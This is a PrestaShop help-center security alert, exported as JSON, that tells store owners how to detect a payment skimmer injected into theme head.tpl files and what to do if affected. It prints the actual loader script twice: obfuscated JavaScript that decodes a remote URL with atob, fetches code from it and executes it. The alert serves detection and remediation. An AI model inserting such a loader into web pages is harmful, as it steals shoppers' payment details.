{"article":{"id":33259937046034,"url":"https://prestashophelp.zendesk.com/api/v2/help_center/en-us/articles/33259937046034.json","html_url":"https://help-center.prestashop.com/hc/en-us/articles/33259937046034-Security-Alert-Recommended-Check-of-Your-Stores","author_id":18085919237906,"comments_disabled":true,"draft":false,"promoted":false,"position":0,"vote_sum":75,"vote_count":317,"upvote_count":196,"downvote_count":121,"section_id":26285610615186,"created_at":"2026-02-11T17:33:31Z","updated_at":"2026-11-04T17:01:44Z","name":"Security Alert – Recommended Check of Your Stores","title":"Security Alert – Recommended Check of Your Stores","source_locale":"fr","locale":"en-us","outdated":false,"outdated_locales":[],"edited_at":"2026-02-17T09:58:34Z","user_segment_id":null,"permission_group_id":432312,"content_tag_ids":[],"label_names":[],"body":"<p>We have recently identified a security threat affecting certain online stores in the PrestaShop ecosystem. A malicious script (\"digital skimmer\") has been detected and may have resulted in the theft of some of your customers' payment information.</p><p> </p><h2 id=\"h_01KH8HK477MRV2R89QY8M157VH\">What does this digital skimmer do?</h2><p>This malware works by replacing the legitimate payment buttons on the order page with fraudulent buttons. When a customer clicks on one of these fake buttons, they are redirected to a counterfeit payment form designed to capture their payment information.</p><p>The skimmer is simply loaded via a <code>&lt;script&gt;</code> tag, written directly in the <code>_partials/head.tpl</code> file of the store’s active theme. This means the attacker was able to modify a file in the store.</p><p> </p><h2 id=\"h_01KH8HK479B7D2YFFE3JH94HEH\">How do I check if my store is affected?</h2><h3 id=\"h_01KH8HK47A9D160J9F5SQ9NZKV\">In the Front Office</h3><p>You can check your front office code by <a href=\"https://help-center.prestashop.com/hc/en-us/articles/28096996723218\">inspecting</a> a page on your site (right-click, then \"inspect\"). Look inside the <code>&lt;script&gt;</code> tag; if you find the following code, it means your store is impacted:</p><pre class=\"language-auto\">&lt;script&gt;(function(){var x=new XMLHttpRequest;x.open('GET',atob('aHR0cHM6Ly9wbHZiLnN1L2J0Lmpz'));x.onload=function(){if(200===x.status)try{Function(x.responseText)()}catch(e){}};x.send();})();&lt;/script&gt;\n</pre><p>Note: The part <code>aHR0cHM6Ly9wbHZiLnN1L2J0Lmpz</code> changes each time, but the structure of the code remains the same, and the <code>atob()</code> function is always used. Code may be present before or after (the skimmer tries to hide itself by being slightly different on each store).</p><h3 id=\"h_01KH8HK47EZRW7SJFGJYGBEWD1\">On Your Server</h3><p>To check your files:</p><ol><li data-list-item-id=\"e7a85a86f0eb6cce7753ee4818579e0c4\">You can find the same script tag in a file on your server. Connect to your server via <a href=\"https://help-center.prestashop.com/hc/en-us/articles/18767319495058\">FTP</a> then navigate through the theme folder, then the active theme folder &gt; template folder &gt; _partial &gt; <code>head.tpl</code>. On this file, right-click then \"view/edit\", and look for the same tag:</li></ol><pre class=\"language-auto\">&lt;script&gt;(function(){var x=new XMLHttpRequest;x.open('GET',atob('aHR0cHM6Ly9wbHZiLnN1L2J0Lmpz'));x.onload=function(){if(200===x.status)try{Function(x.responseText)()}catch(e){}};x.send();})();&lt;/script&gt;\n</pre><p>2. Also in your files, if you find the \"mloader\" or \"simplefilemanager\" module under the \"/modules/\" folder, this also means your store is impacted.</p><p> </p><h2 id=\"h_01KH8HKQY57AK4BX0BYVHD0ZE0\">What should I do if my store is affected?</h2><ul>\n<li data-list-item-id=\"e4a400359118fe05c75567b08609468c9\">Change the passwords for your various accesses (back office, database, FTP, SSH, and don’t forget to update the database access in the PrestaShop config file).</li>\n<li data-list-item-id=\"e8bf9846e2a9394b82f59aa484c1b9cf9\">Check your logs to see if any of your customers' data has been exfiltrated. If so, you will need to file a complaint with law enforcement and contact the CNIL.</li>\n<li data-list-item-id=\"ec770c58d57add856c9a68a62a74ea278\">Consult an IT security professional to have your entire site checked. Only a professional can guarantee the security of your store. </li>\n</ul><p> </p><h2 id=\"h_01KH8NP9775Q05352GN3A7RPFQ\">Do I need to notify my customers?</h2><p>As data controllers under the GDPR, it is your responsibility to assess whether a data breach has occurred and, if so, to carry out the required notifications. In accordance with Articles 33 and 34 of the GDPR, any breach likely to result in a risk to rights and freedoms must be reported to the CNIL within 72 hours, and to the affected individuals in case of high risk (a <a href=\"https://www.cnil.fr/fr/services-en-ligne/notifier-une-violation-de-donnees-personnelles\" target=\"_blank\" rel=\"noopener noreferrer\">practical guide is available on the CNIL website</a>).</p><p> </p><p>⚠️ <strong>At this stage, we strongly recommend you perform a complete security check of your PrestaShop stores and ensure that none of them have been compromised.</strong></p>","user_segment_ids":[]}}